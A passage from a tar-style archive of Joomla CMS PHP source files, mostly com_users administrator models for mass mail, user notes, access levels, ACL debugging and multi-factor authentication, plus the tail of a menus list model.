'menutype', 'a.menutype', 'client_id', 'a.client_id', ]; } parent::__construct($config, $factory); } /** * Overrides the getItems method to attach additional metrics to the list. * * @return mixed An array of data items on success, false on failure. * * @since 1.6.1 */ public function getItems() { // Get a storage key. $store = $this->getStoreId('getItems'); // Try to load the data from internal storage. if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Load the list items. $items = parent::getItems(); // If empty or an error, just return. if (empty($items)) { return []; } // Getting the following metric by joins is WAY TOO SLOW. // Faster to do three queries for very large menu trees. // Get the menu types of menus in the list. $db = $this->getDatabase(); $menuTypes = array_column((array) $items, 'menutype'); $query = $db->getQuery(true) ->select( [ $db->quoteName('m.menutype'), 'COUNT(DISTINCT ' . $db->quoteName('m.id') . ') AS ' . $db->quoteName('count_published'), ] ) ->from($db->quoteName('#__menu', 'm')) ->where($db->quoteName('m.published') . ' = :published') ->whereIn($db->quoteName('m.menutype'), $menuTypes, ParameterType::STRING) ->group($db->quoteName('m.menutype')) ->bind(':published', $published, ParameterType::INTEGER); $db->setQuery($query); // Get the published menu counts. try { $published = 1; $countPublished = $db->loadAssocList('menutype', 'count_published'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } // Get the unpublished menu counts. try { $published = 0; $countUnpublished = $db->loadAssocList('menutype', 'count_published'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } // Get the trashed menu counts. try { $published = -2; $countTrashed = $db->loadAssocList('menutype', 'count_published'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } // Inject the values back into the array. foreach ($items as $item) { $item->count_published = $countPublished[$item->menutype] ?? 0; $item->count_unpublished = $countUnpublished[$item->menutype] ?? 0; $item->count_trashed = $countTrashed[$item->menutype] ?? 0; } // Add the items to the internal cache. $this->cache[$store] = $items; return $this->cache[$store]; } /** * Method to build an SQL query to load the list data. * * @return DatabaseQuery An SQL query * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); $clientId = (int) $this->getState('client_id'); // Select all fields from the table. $query->select( $this->getState( 'list.select', [ $db->quoteName('a.id'), $db->quoteName('a.menutype'), $db->quoteName('a.title'), $db->quoteName('a.description'), $db->quoteName('a.client_id'), ] ) ) ->from($db->quoteName('#__menu_types', 'a')) ->where( [ $db->quoteName('a.id') . ' > 0', $db->quoteName('a.client_id') . ' = :clientId', ] ) ->bind(':clientId', $clientId, ParameterType::INTEGER); // Filter by search in title or menutype if ($search = trim($this->getState('filter.search', ''))) { $search = '%' . str_replace(' ', '%', $search) . '%'; $query->extendWhere( 'AND', [ $db->quoteName('a.title') . ' LIKE :search1' , $db->quoteName('a.menutype') . ' LIKE :search2', ], 'OR' ) ->bind([':search1', ':search2'], $search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.id')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = 'a.title', $direction = 'asc') { $search = $this->getUserStateFromRequest($this->context . '.search', 'filter_search'); $this->setState('filter.search', $search); $clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int'); $this->setState('client_id', $clientId); // List state information. parent::populateState($ordering, $direction); } /** * Gets the extension id of the core mod_menu module. * * @return integer * * @since 2.5 */ public function getModMenuId() { $clientId = (int) $this->getState('client_id'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('e.extension_id')) ->from($db->quoteName('#__extensions', 'e')) ->where( [ $db->quoteName('e.type') . ' = ' . $db->quote('module'), $db->quoteName('e.element') . ' = ' . $db->quote('mod_menu'), $db->quoteName('e.client_id') . ' = :clientId', ] ) ->bind(':clientId', $clientId, ParameterType::INTEGER); $db->setQuery($query); return $db->loadResult(); } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array * * @since 1.6 */ public function &getModules() { $model = $this->bootComponent('com_menus') ->getMVCFactory()->createModel('Menu', 'Administrator', ['ignore_request' => true]); $result = $model->getModules(); return $result; } /** * Returns the missing module languages. * * @return array * * @since 4.2.0 */ public function getMissingModuleLanguages(): array { // Check custom administrator menu modules if (!ModuleHelper::isAdminMultilang()) { return []; } $languages = LanguageHelper::getInstalledLanguages(1, true); $langCodes = []; foreach ($languages as $language) { if (isset($language->metadata['nativeName'])) { $languageName = $language->metadata['nativeName']; } else { $languageName = $language->metadata['name']; } $langCodes[$language->metadata['tag']] = $languageName; } $db = $this->getDatabase(); $query = $db->getQuery(true); $query->select($db->quoteName('m.language')) ->from($db->quoteName('#__modules', 'm')) ->where( [ $db->quoteName('m.module') . ' = ' . $db->quote('mod_menu'), $db->quoteName('m.published') . ' = 1', $db->quoteName('m.client_id') . ' = 1', ] ) ->group($db->quoteName('m.language')); $mLanguages = $db->setQuery($query)->loadColumn(); // Check if we have a mod_menu module set to All languages or a mod_menu module for each admin language. if (!in_array('*', $mLanguages) && count($langMissing = array_diff(array_keys($langCodes), $mLanguages))) { return array_intersect_key($langCodes, array_flip($langMissing)); } return []; } } MethodModel.php 0000644 00000001052 15172776135 0007472 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\Model; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Multi-factor Authentication Method management model * * @since 4.2.0 */ class MethodModel extends \Joomla\Component\Users\Administrator\Model\MethodModel { } MethodsModel.php 0000644 00000001056 15172776135 0007661 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\Model; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Multi-factor Authentication Methods list page's model * * @since 4.2.0 */ class MethodsModel extends \Joomla\Component\Users\Administrator\Model\MethodsModel { } MailModel.php 0000644 00000017774 15172776135 0007156 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\Database\ParameterType; use PHPMailer\PHPMailer\Exception as phpMailerException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Users mail model. * * @since 1.6 */ class MailModel extends AdminModel { /** * Method to get the row form. * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_users.mail', 'mail', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 * @throws \Exception */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_users.display.mail.data', []); $this->preprocessData('com_users.mail', $data); return $data; } /** * Method to preprocess the form * * @param Form $form A form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws \Exception if there is an error loading the form. */ protected function preprocessForm(Form $form, $data, $group = 'user') { parent::preprocessForm($form, $data, $group); } /** * Send the email * * @return boolean * * @throws \Exception */ public function send() { $app = Factory::getApplication(); $data = $app->getInput()->post->get('jform', [], 'array'); $user = $this->getCurrentUser(); $access = new Access(); $db = $this->getDatabase(); $language = Factory::getLanguage(); $mode = array_key_exists('mode', $data) ? (int) $data['mode'] : 0; $subject = array_key_exists('subject', $data) ? $data['subject'] : ''; $grp = array_key_exists('group', $data) ? (int) $data['group'] : 0; $recurse = array_key_exists('recurse', $data) ? (int) $data['recurse'] : 0; $bcc = array_key_exists('bcc', $data) ? (int) $data['bcc'] : 0; $disabled = array_key_exists('disabled', $data) ? (int) $data['disabled'] : 0; $message_body = array_key_exists('message', $data) ? $data['message'] : ''; // Automatically removes html formatting if (!$mode) { $message_body = InputFilter::getInstance()->clean($message_body, 'string'); } // Check for a message body and subject if (!$message_body || !$subject) { $app->setUserState('com_users.display.mail.data', $data); $this->setError(Text::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY')); return false; } // Get users in the group out of the ACL, if group is provided. $to = $grp !== 0 ? $access->getUsersByGroup($grp, $recurse) : []; // When group is provided but no users are found in the group. if ($grp !== 0 && !$to) { $rows = []; } else { // Get all users email and group except for senders $uid = (int) $user->id; $query = $db->getQuery(true) ->select( [ $db->quoteName('email'), $db->quoteName('name'), ] ) ->from($db->quoteName('#__users')) ->where($db->quoteName('id') . ' != :id') ->bind(':id', $uid, ParameterType::INTEGER); if ($grp !== 0) { $query->whereIn($db->quoteName('id'), $to); } if ($disabled === 0) { $query->where($db->quoteName('block') . ' = 0'); } $db->setQuery($query); $rows = $db->loadObjectList(); } // Check to see if there are any users in this group before we continue if (!$rows) { $app->setUserState('com_users.display.mail.data', $data); if (in_array($user->id, $to)) { $this->setError(Text::_('COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP')); } else { $this->setError(Text::_('COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP')); } return false; } // Get the Mailer $mailer = new MailTemplate('com_users.massmail.mail', $language->getTag()); $params = ComponentHelper::getParams('com_users'); try { // Build email message format. $data = [ 'subject' => stripslashes($subject), 'body' => $message_body, 'subjectprefix' => $params->get('mailSubjectPrefix', ''), 'bodysuffix' => $params->get('mailBodySuffix', ''), ]; $mailer->addTemplateData($data); $recipientType = $bcc ? 'bcc' : 'to'; // Add recipients foreach ($rows as $row) { $mailer->addRecipient($row->email, $row->name, $recipientType); } if ($bcc) { $mailer->addRecipient($app->get('mailfrom'), $app->get('fromname')); } // Send the Mail $rs = $mailer->send(); } catch (MailDisabledException | phpMailerException $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); $rs = false; } catch (\RuntimeException $exception) { Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); $rs = false; } } // Check for an error if ($rs !== true) { $app->setUserState('com_users.display.mail.data', $data); $this->setError($mailer->ErrorInfo); return false; } elseif (empty($rs)) { $app->setUserState('com_users.display.mail.data', $data); $this->setError(Text::_('COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT')); return false; } else { /** * Fill the data (specially for the 'mode', 'group' and 'bcc': they could not exist in the array * when the box is not checked and in this case, the default value would be used instead of the '0' * one) */ $data['mode'] = $mode; $data['subject'] = $subject; $data['group'] = $grp; $data['recurse'] = $recurse; $data['bcc'] = $bcc; $data['message'] = $message_body; $app->setUserState('com_users.display.mail.data', []); $app->enqueueMessage(Text::plural('COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS', count($rows)), 'message'); return true; } } } NoteModel.php 0000644 00000007063 15172776135 0007167 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Versioning\VersionableModelTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User note model. * * @since 2.5 */ class NoteModel extends AdminModel { use VersionableModelTrait; /** * The type alias for this content type. * * @var string * @since 3.2 */ public $typeAlias = 'com_users.note'; /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return \Joomla\CMS\Form\Form|bool A Form object on success, false on failure * * @since 2.5 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_users.note', 'note', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 2.5 * @throws \Exception */ public function getItem($pk = null) { $result = parent::getItem($pk); // Get the dispatcher and load the content plugins. PluginHelper::importPlugin('content'); // Load the user plugins for backward compatibility (v3.3.3 and earlier). PluginHelper::importPlugin('user'); // Trigger the data preparation event. Factory::getApplication()->triggerEvent('onContentPrepareData', ['com_users.note', $result]); return $result; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 * @throws \Exception */ protected function loadFormData() { // Get the application $app = Factory::getApplication(); // Check the session for previously entered form data. $data = $app->getUserState('com_users.edit.note.data', []); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('note.id') == 0) { $data->set('catid', $app->getInput()->get('catid', $app->getUserState('com_users.notes.filter.category_id'), 'int')); } $userId = $app->getInput()->get('u_id', 0, 'int'); if ($userId != 0) { $data->user_id = $userId; } } $this->preprocessData('com_users.note', $data); return $data; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 2.5 * @throws \Exception */ protected function populateState() { parent::populateState(); $userId = Factory::getApplication()->getInput()->get('u_id', 0, 'int'); $this->setState('note.user_id', $userId); } } LevelModel.php 0000644 00000021513 15172776135 0007325 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Factory; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Form\Form; use Joomla\CMS\Helper\UserGroupsHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Table\Table; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User view level model. * * @since 1.6 */ class LevelModel extends AdminModel { /** * @var array A list of the access levels in use. * @since 1.6 */ protected $levelsInUse = null; /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canDelete($record) { $groups = json_decode($record->rules); if ($groups === null) { throw new \RuntimeException('Invalid rules schema'); } $isAdmin = $this->getCurrentUser()->authorise('core.admin'); // Check permissions foreach ($groups as $group) { if (!$isAdmin && Access::checkGroup($group, 'core.admin')) { $this->setError(Text::_('JERROR_ALERTNOAUTHOR')); return false; } } // Check if the access level is being used by any content. if ($this->levelsInUse === null) { // Populate the list once. $this->levelsInUse = []; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('DISTINCT access'); // Get all the tables and the prefix $tables = $db->getTableList(); $prefix = $db->getPrefix(); foreach ($tables as $table) { // Get all of the columns in the table $fields = $db->getTableColumns($table); /** * We are looking for the access field. If custom tables are using something other * than the 'access' field they are on their own unfortunately. * Also make sure the table prefix matches the live db prefix (eg, it is not a "bak_" table) */ if (strpos($table, $prefix) === 0 && isset($fields['access'])) { // Lookup the distinct values of the field. $query->clear('from') ->from($db->quoteName($table)); $db->setQuery($query); try { $values = $db->loadColumn(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } $this->levelsInUse = array_merge($this->levelsInUse, $values); // @todo Could assemble an array of the tables used by each view level list those, // giving the user a clue in the error where to look. } } // Get uniques. $this->levelsInUse = array_unique($this->levelsInUse); // Ok, after all that we are ready to check the record :) } if (in_array($record->id, $this->levelsInUse)) { $this->setError(Text::sprintf('COM_USERS_ERROR_VIEW_LEVEL_IN_USE', $record->id, $record->title)); return false; } return parent::canDelete($record); } /** * Returns a reference to the a Table object, always creating it. * * @param string $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return Table A database object * * @since 1.6 */ public function getTable($type = 'ViewLevel', $prefix = 'Joomla\\CMS\\Table\\', $config = []) { $return = Table::getInstance($type, $prefix, $config); return $return; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { $result = parent::getItem($pk); // Convert the params field to an array. $result->rules = $result->rules !== null ? json_decode($result->rules) : []; return $result; } /** * Method to get the record form. * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|bool A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_users.level', 'level', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 * @throws \Exception */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_users.edit.level.data', []); if (empty($data)) { $data = $this->getItem(); } $this->preprocessData('com_users.level', $data); return $data; } /** * Method to preprocess the form * * @param Form $form A form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws \Exception if there is an error loading the form. */ protected function preprocessForm(Form $form, $data, $group = '') { // TO DO warning! parent::preprocessForm($form, $data, 'user'); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { if (!isset($data['rules'])) { $data['rules'] = []; } $data['title'] = InputFilter::getInstance()->clean($data['title'], 'TRIM'); return parent::save($data); } /** * Method to validate the form data. * * @param Form $form The form to validate against. * @param array $data The data to validate. * @param string $group The name of the field group to validate. * * @return array|boolean Array of filtered data if valid, false otherwise. * * @see \Joomla\CMS\Form\FormRule * @see \JFilterInput * @since 3.8.8 */ public function validate($form, $data, $group = null) { $isSuperAdmin = $this->getCurrentUser()->authorise('core.admin'); // Non Super user should not be able to change the access levels of super user groups if (!$isSuperAdmin) { if (!isset($data['rules']) || !is_array($data['rules'])) { $data['rules'] = []; } $groups = array_values(UserGroupsHelper::getInstance()->getAll()); $rules = []; if (!empty($data['id'])) { $table = $this->getTable(); $table->load($data['id']); $rules = json_decode($table->rules); } $rules = ArrayHelper::toInteger($rules); for ($i = 0, $n = count($groups); $i < $n; ++$i) { if (Access::checkGroup((int) $groups[$i]->id, 'core.admin')) { if (in_array((int) $groups[$i]->id, $rules) && !in_array((int) $groups[$i]->id, $data['rules'])) { $data['rules'][] = (int) $groups[$i]->id; } elseif (!in_array((int) $groups[$i]->id, $rules) && in_array((int) $groups[$i]->id, $data['rules'])) { $this->setError(Text::_('JLIB_USER_ERROR_NOT_SUPERADMIN')); return false; } } } } return parent::validate($form, $data, $group); } } DebuguserModel.php 0000644 00000017173 15172776135 0010212 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\Helper\DebugHelper; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Methods supporting a list of User ACL permissions * * @since 1.6 */ class DebuguserModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'a.title', 'component', 'a.name', 'a.lft', 'a.id', 'level_start', 'level_end', 'a.level', ]; } parent::__construct($config, $factory); } /** * Get a list of the actions. * * @return array * * @since 1.6 */ public function getDebugActions() { $component = $this->getState('filter.component'); return DebugHelper::getDebugActions($component); } /** * Override getItems method. * * @return array * * @since 1.6 */ public function getItems() { $userId = $this->getState('user_id'); $user = Factory::getUser($userId); if (($assets = parent::getItems()) && $userId) { $actions = $this->getDebugActions(); foreach ($assets as &$asset) { $asset->checks = []; foreach ($actions as $action) { $name = $action[0]; $asset->checks[$name] = $user->authorise($name, $asset->name); } } } return $assets; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 * @throws \Exception */ protected function populateState($ordering = 'a.lft', $direction = 'asc') { $app = Factory::getApplication(); // Adjust the context to support modal layouts. $layout = $app->getInput()->get('layout', 'default'); if ($layout) { $this->context .= '.' . $layout; } // Load the filter state. $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string')); $this->setState('user_id', $this->getUserStateFromRequest($this->context . '.user_id', 'user_id', 0, 'int', false)); $levelStart = $this->getUserStateFromRequest($this->context . '.filter.level_start', 'filter_level_start', '', 'cmd'); $this->setState('filter.level_start', $levelStart); $value = $this->getUserStateFromRequest($this->context . '.filter.level_end', 'filter_level_end', '', 'cmd'); if ($value > 0 && $value < $levelStart) { $value = $levelStart; } $this->setState('filter.level_end', $value); $this->setState('filter.component', $this->getUserStateFromRequest($this->context . '.filter.component', 'filter_component', '', 'string')); // Load the parameters. $params = ComponentHelper::getParams('com_users'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('user_id'); $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.level_start'); $id .= ':' . $this->getState('filter.level_end'); $id .= ':' . $this->getState('filter.component'); return parent::getStoreId($id); } /** * Get the user being debugged. * * @return User * * @since 1.6 */ public function getUser() { $userId = $this->getState('user_id'); return Factory::getUser($userId); } /** * Build an SQL query to load the list data. * * @return DatabaseQuery * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.title, a.level, a.lft, a.rgt' ) ); $query->from($db->quoteName('#__assets', 'a')); // Filter the items over the search string if set. if ($this->getState('filter.search')) { $search = '%' . trim($this->getState('filter.search')) . '%'; // Add the clauses to the query. $query->where( '(' . $db->quoteName('a.name') . ' LIKE :name' . ' OR ' . $db->quoteName('a.title') . ' LIKE :title)' ) ->bind(':name', $search) ->bind(':title', $search); } // Filter on the start and end levels. $levelStart = (int) $this->getState('filter.level_start'); $levelEnd = (int) $this->getState('filter.level_end'); if ($levelEnd > 0 && $levelEnd < $levelStart) { $levelEnd = $levelStart; } if ($levelStart > 0) { $query->where($db->quoteName('a.level') . ' >= :levelStart') ->bind(':levelStart', $levelStart, ParameterType::INTEGER); } if ($levelEnd > 0) { $query->where($db->quoteName('a.level') . ' <= :levelEnd') ->bind(':levelEnd', $levelEnd, ParameterType::INTEGER); } // Filter the items over the component if set. if ($this->getState('filter.component')) { $component = $this->getState('filter.component'); $lcomponent = $component . '.%'; $query->where( '(' . $db->quoteName('a.name') . ' = :component' . ' OR ' . $db->quoteName('a.name') . ' LIKE :lcomponent)' ) ->bind(':component', $component) ->bind(':lcomponent', $lcomponent); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } } LevelsModel.php 0000644 00000015334 15172776135 0007514 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Table\Table; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Methods supporting a list of user access level records. * * @since 1.6 */ class LevelsModel extends ListModel { /** * Override parent constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'title', 'a.title', 'ordering', 'a.ordering', ]; } parent::__construct($config, $factory); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = 'a.ordering', $direction = 'asc') { // Load the parameters. $params = ComponentHelper::getParams('com_users'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return DatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__viewlevels') . ' AS a'); // Add the level in the tree. $query->group('a.id, a.title, a.ordering, a.rules'); // Filter the items over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $ids = (int) substr($search, 3); $query->where($db->quoteName('a.id') . ' = :id'); $query->bind(':id', $ids, ParameterType::INTEGER); } else { $search = '%' . trim($search) . '%'; $query->where('a.title LIKE :title') ->bind(':title', $search); } } $query->group('a.id'); // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to adjust the ordering of a row. * * @param integer $pk The ID of the primary key to move. * @param integer $direction Increment, usually +1 or -1 * * @return boolean False on failure or error, true otherwise. */ public function reorder($pk, $direction = 0) { // Sanitize the id and adjustment. $pk = (!empty($pk)) ? $pk : (int) $this->getState('level.id'); $user = $this->getCurrentUser(); // Get an instance of the record's table. $table = Table::getInstance('ViewLevel', 'Joomla\\CMS\Table\\'); // Load the row. if (!$table->load($pk)) { $this->setError($table->getError()); return false; } // Access checks. $allow = $user->authorise('core.edit.state', 'com_users'); if (!$allow) { $this->setError(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } // Move the row. // @todo: Where clause to restrict category. $table->move($pk); return true; } /** * Saves the manually set order of records. * * @param array $pks An array of primary key ids. * @param integer $order Order position * * @return boolean Boolean true on success, boolean false * * @throws \Exception */ public function saveorder($pks, $order) { $table = Table::getInstance('viewlevel', 'Joomla\\CMS\Table\\'); $user = $this->getCurrentUser(); $conditions = []; if (empty($pks)) { Factory::getApplication()->enqueueMessage(Text::_('COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED'), 'error'); return false; } // Update ordering values foreach ($pks as $i => $pk) { $table->load((int) $pk); // Access checks. $allow = $user->authorise('core.edit.state', 'com_users'); if (!$allow) { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 'error'); } elseif ($table->ordering != $order[$i]) { $table->ordering = $order[$i]; if (!$table->store()) { $this->setError($table->getError()); return false; } } } // Execute reorder for each category. foreach ($conditions as $cond) { $table->load($cond[0]); $table->reorder($cond[1]); } return true; } } CaptiveModel.php 0000644 00000001051 15172776135 0007644 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\Model; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Captive Multi-factor Authentication page's model * * @since 4.2.0 */ class CaptiveModel extends \Joomla\Component\Users\Administrator\Model\CaptiveModel { } UserModel.php 0000644 00000102763 15172776135 0007203 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Multilanguage; 